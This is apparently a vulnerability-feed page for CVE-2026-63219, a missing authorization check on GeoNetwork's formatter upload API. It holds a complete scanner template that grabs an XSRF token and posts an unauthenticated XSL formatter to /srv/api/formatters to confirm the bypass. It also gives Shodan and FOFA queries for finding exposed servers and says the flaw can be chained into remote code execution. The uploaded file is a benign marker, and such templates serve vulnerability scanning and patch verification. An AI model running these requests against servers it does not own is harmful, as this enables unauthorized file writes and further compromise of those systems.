CVE-2026-63219: GeoNetwork - Pre-Auth Formatter Upload (Missing Authorization)

2026-11-29 PoC Public

Description

GeoNetwork before 4.4.12 and before 4.2.17 is missing the @PreAuthorize("hasAuthority('UserAdmin')") authorization check on the formatter upload API (addFormatter in FormatterAdminApi, POST /srv/api/formatters), a missing authorization vulnerability (CWE-862). A remote unauthenticated attacker can upload arbitrary .xsl/.zip formatter files to the server storage, which combined with unsafe XSLT execution (CVE-2026-58400) enables unauthenticated remote code execution. This template proves the authorization bypass: an unauthenticated multipart upload of a benign XSL formatter is accepted by the server (HTTP 201 Created) instead of being rejected with 401/403.

Details

CVE
CVE-2026-63219 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-63219

info:
  name: GeoNetwork - Pre-Auth Formatter Upload (Missing Authorization)
  author: DhiyaneshDk
  severity: high
  description: |
    GeoNetwork before 4.4.12 and before 4.2.17 is missing the @PreAuthorize("hasAuthority('UserAdmin')") authorization check on the formatter upload API (addFormatter in FormatterAdminApi, POST /srv/api/formatters), a missing authorization vulnerability (CWE-862). A remote unauthenticated attacker can upload arbitrary .xsl/.zip formatter files to the server storage, which combined with unsafe XSLT execution (CVE-2026-58400) enables unauthenticated remote code execution. This template proves the authorization bypass: an unauthenticated multipart upload of a benign XSL formatter is accepted by the server (HTTP 201 Created) instead of being rejected with 401/403.
  impact: |
    Unauthenticated attackers can write arbitrary files to server storage, leading to unauthorized file modification and potential further compromise.
  remediation: |
    Upgrade to versions 4.4.12 or 4.2.17 or later.
  reference:
    - https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-mh22-prqr-vf42
    - https://github.com/geonetwork/core-geonetwork/pull/9346
    - https://docs.geonetwork-opensource.org/4.4/overview/change-log/version-4.4.12
    - https://nvd.nist.gov/vuln/detail/CVE-2026-63219
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-63219
    epss-score: 0.01157
    epss-percentile: 0.66902
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 4
    vendor: geonetwork
    product: core-geonetwork
    shodan-query: title:"GeoNetwork"
    fofa-query: app="GeoNetwork"
  tags: cve,cve2026,geonetwork,file-upload,auth-bypass,rce,vkev,intrusive

variables:
  marker: "{{rand_text_alpha(8)}}"
  boundary: "{{rand_text_alphanumeric(16)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /srv/api/info?type=site HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

      - |
        GET /geonetwork/srv/api/info?type=site HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - "contains(to_lower(header), 'xsrf-token=')"
        internal: true

    extractors:
      - type: regex
        name: xsrf_token
        internal: true
        part: header
        group: 1
        regex:
          - "XSRF-TOKEN=([a-f0-9-]+)"

  - raw:
      - |
        POST /srv/api/formatters HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary={{boundary}}
        X-XSRF-TOKEN: {{xsrf_token}}
        Cookie: XSRF-TOKEN={{xsrf_token}}
        Accept: application/json

        --{{boundary}}
        Content-Disposition: form-data; name="file"; filename="{{marker}}.xsl"
        Content-Type: application/xml

        <?xml version="1.0" encoding="UTF-8"?>
        <xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
          <xsl:output method="text" encoding="UTF-8"/>
          <xsl:template match="/"><xsl:value-of select="'{{marker}}'"/></xsl:template>
        </xsl:stylesheet>
        --{{boundary}}--

      - |
        POST /geonetwork/srv/api/formatters HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary={{boundary}}
        X-XSRF-TOKEN: {{xsrf_token}}
        Cookie: XSRF-TOKEN={{xsrf_token}}
        Accept: application/json

        --{{boundary}}
        Content-Disposition: form-data; name="file"; filename="{{marker}}.xsl"
        Content-Type: application/xml

        <?xml version="1.0" encoding="UTF-8"?>
        <xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
          <xsl:output method="text" encoding="UTF-8"/>
          <xsl:template match="/"><xsl:value-of select="'{{marker}}'"/></xsl:template>
        </xsl:stylesheet>
        --{{boundary}}--

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 201

      - type: word
        part: body
        negative: true
        words:
          - "Unauthorized"
          - "Access Denied"
          - "Authentication is required"
        condition: or
# digest: 4a0a0047304502210093cb796223ce04a2088f323e3683686ba9f09a1af4bba6d7fe30d3bf353c8bb7022078ea1515f51e9d29617d2859e6f2465e4f89f68cae6187ecd53a5a6f4e98302d:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life